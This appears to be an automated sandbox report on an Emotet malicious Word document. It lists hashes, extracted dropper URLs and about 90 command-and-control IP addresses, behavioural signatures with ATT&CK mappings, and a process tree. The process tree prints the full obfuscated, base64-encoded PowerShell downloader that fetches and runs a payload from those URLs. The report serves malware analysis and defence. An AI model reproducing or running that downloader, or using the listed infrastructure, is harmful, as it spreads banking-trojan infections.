emotet | ca8ae8202db2b8b97471641166ca3abebc755d1a589acef1016aeb38186fb40b

General

Target
emotet_e1_ca8ae8202db2b8b97471641166ca3abebc755d1a589acef1016aeb38186fb40b_2020-09-21__045843268720._doc.doc
Size 223KB
Sample200921-se4c1cdrfx
SHA256 ca8ae8202db2b8b97471641166ca3abebc755d1a589acef1016aeb38186fb40b
MD5 057f5d0ff993875d0836008c377d4e22
SHA1 0efc87377194710ff376b8d6576c6f1222b6fcee
SHA512 632ae6cd95c5a890d0bfb43805cfe1d41d942702a5e2063eb087a50e061b5672796c5c91f9828442d4330cf1677b40563dedbd4b963b9614c941971c4cd97985
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://wynn838.com/wp-content/B/
exe.dropper
https://menuazores.com/root/4eq/
exe.dropper
https://www.lunalysis.com/images/P/
exe.dropper
https://fedo.xyz/wp-admin/AaD/
exe.dropper
http://themsc.net/cctqv/M/
exe.dropper
http://earthinnovation.org/pcimonitor/d/
exe.dropper
http://pastaciyiz.biz/wp-includes/1/

Extracted

Family

emotet

C2

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	3980	powershell.exe	73

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1256-13-0x0000000000610000-0x0000000000622000-memory.dmp	emotet
behavioral2/memory/1256-13-0x0000000000610000-0x0000000000622000-memory.dmp	emotet
behavioral2/memory/1256-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1256-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1668-17-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/1668-17-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
22	2700	powershell.exe
23	2700	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1256	Dglxjnka9.exe
1668	cdosys.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mscories\cdosys.exe	Dglxjnka9.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
508	WINWORD.EXE
508	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
1668	cdosys.exe
1668	cdosys.exe
1668	cdosys.exe
1668	cdosys.exe
1668	cdosys.exe
1668	cdosys.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 1256	2700	powershell.exe	80
PID 2700 wrote to memory of 1256	2700	powershell.exe	80
PID 2700 wrote to memory of 1256	2700	powershell.exe	80
PID 1256 wrote to memory of 1668	1256	Dglxjnka9.exe	81
PID 1256 wrote to memory of 1668	1256	Dglxjnka9.exe	81
PID 1256 wrote to memory of 1668	1256	Dglxjnka9.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ca8ae8202db2b8b97471641166ca3abebc755d1a589acef1016aeb38186fb40b_2020-09-21__045843268720._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFADYAUwBcAHgAMQBpAFkAawBYAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAGkAYABUAHkAUABgAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAnACkAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQASABxADEAcgA1ADIAegAgAD0AIAAoACgAJwBEAGcAJwArACcAbAB4ACcAKQArACgAJwBqAG4AJwArACcAawAnACkAKwAnAGEAOQAnACkAOwAkAFcAZwBiAGIANgB5ADAAPQAoACgAJwBZAGYAJwArACcAdQAnACkAKwAoACcAaAB2ACcAKwAnAGwAZQAnACkAKQA7ACQAVwBwADkAMwA3AGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcANAB2ACcAKQArACcAZwBlADYAcwB7ADAAJwArACcAfQAnACsAJwBYADEAJwArACcAaQAnACsAKAAnAHkAawAnACsAJwB4ACcAKQArACcAcwB7ADAAfQAnACkAIAAgAC0AZgBbAEMASABhAFIAXQA5ADIAKQArACQASABxADEAcgA1ADIAegArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASgBzAHYANwBuADgAYQA9ACgAJwBOAGQAJwArACcAbQAnACsAKAAnADcAJwArACcAeQBmAG8AJwApACkAOwAkAFQAYgBjAGIAOQB5AHIAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBMAGkARQBOAHQAOwAkAEQAdAAyAHUAYwBvAHIAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgA4ACcAKwAnADMAOAAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKQArACgAJwB0AC8AQgAvACcAKwAnACoAJwArACcAaAAnACsAJwB0AHQAcABzADoALwAnACsAJwAvAG0AJwApACsAKAAnAGUAbgB1AGEAJwArACcAegBvACcAKwAnAHIAJwApACsAJwBlAHMAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHIAJwArACcAbwAnACkAKwAoACcAbwB0ACcAKwAnAC8ANABlAHEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHcAJwArACgAJwB3ACcAKwAnAHcALgBsAHUAbgBhACcAKwAnAGwAJwApACsAKAAnAHkAcwBpAHMALgAnACsAJwBjAG8AbQAvAGkAbQBhAGcAZQAnACsAJwBzACcAKQArACgAJwAvACcAKwAnAFAALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBmAGUAJwArACcAZABvAC4AJwApACsAJwB4ACcAKwAnAHkAJwArACgAJwB6AC8AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBBAGEAJwArACcARAAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAHQAaAAnACsAJwBlAG0AJwArACcAcwAnACsAJwBjAC4AbgBlACcAKQArACcAdAAnACsAKAAnAC8AYwBjAHQAJwArACcAcQB2ACcAKQArACgAJwAvAE0ALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZQAnACsAJwBhACcAKQArACgAJwByAHQAJwArACcAaABpAG4AJwArACcAbgBvAHYAYQB0ACcAKQArACcAaQAnACsAKAAnAG8AbgAuAG8AcgBnACcAKwAnAC8AcAAnACkAKwAoACcAYwBpACcAKwAnAG0AbwBuACcAKQArACcAaQB0ACcAKwAoACcAbwByAC8AZAAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcABhAHMAdABhACcAKQArACgAJwBjAGkAJwArACcAeQBpAHoALgAnACkAKwAoACcAYgBpACcAKwAnAHoALwB3ACcAKwAnAHAALQBpAG4AYwBsAHUAZAAnACsAJwBlACcAKQArACgAJwBzAC8AMQAnACsAJwAvACcAKQApAC4AIgBzAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8ANgA2AHMANAA0ADMAPQAoACcAUgA4ACcAKwAoACcAYwB1AHAAMAAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUwA2AHIAbABwADUAdQAgAGkAbgAgACQARAB0ADIAdQBjAG8AcgApAHsAdAByAHkAewAkAFQAYgBjAGIAOQB5AHIALgAiAEQAbwBXAE4AbABPAGAAQQBkAGAARgBJAGwAZQAiACgAJABTADYAcgBsAHAANQB1ACwAIAAkAFcAcAA5ADMANwBrAHoAKQA7ACQATgB1AGEANABwAGIAcwA9ACgAJwBFACcAKwAoACcANAB0ADIAJwArACcAbQBjAGUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVwBwADkAMwA3AGsAegApAC4AIgBMAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADMANgAxADMANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABXAHAAOQAzADcAawB6ACkAOwAkAEoAeAAxAHIAdwA4AHUAPQAoACgAJwBaAGkAcgA1AHIAJwArACcANQAnACkAKwAnAHUAJwApADsAYgByAGUAYQBrADsAJABKAG0AZQBlAHYAMgB0AD0AKAAoACcAVwAnACsAJwBtAGEAawBiACcAKwAnAGoAJwApACsAJwB2ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAzAGIAbQA4AHMAOAA9ACgAKAAnAE0AZABxACcAKwAnADUAJwApACsAKAAnAGEAJwArACcAZQB6ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Users\Admin\A4vge6s\X1iykxs\Dglxjnka9.exe
  "C:\Users\Admin\A4vge6s\X1iykxs\Dglxjnka9.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\SysWOW64\mscories\cdosys.exe
    "C:\Windows\SysWOW64\mscories\cdosys.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1668

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/508-0-0x00007FFE41510000-0x00007FFE41BD6000-memory.dmp

Download

memory/1256-13-0x0000000000610000-0x0000000000622000-memory.dmp

Download

memory/1256-14-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/1668-17-0x00000000005A0000-0x00000000005B2000-memory.dmp

Download

memory/2700-7-0x00007FFE34E60000-0x00007FFE3584C000-memory.dmp

Download

memory/2700-8-0x0000023AB22B0000-0x0000023AB22B1000-memory.dmp

Download

memory/2700-9-0x0000023AB2460000-0x0000023AB2461000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads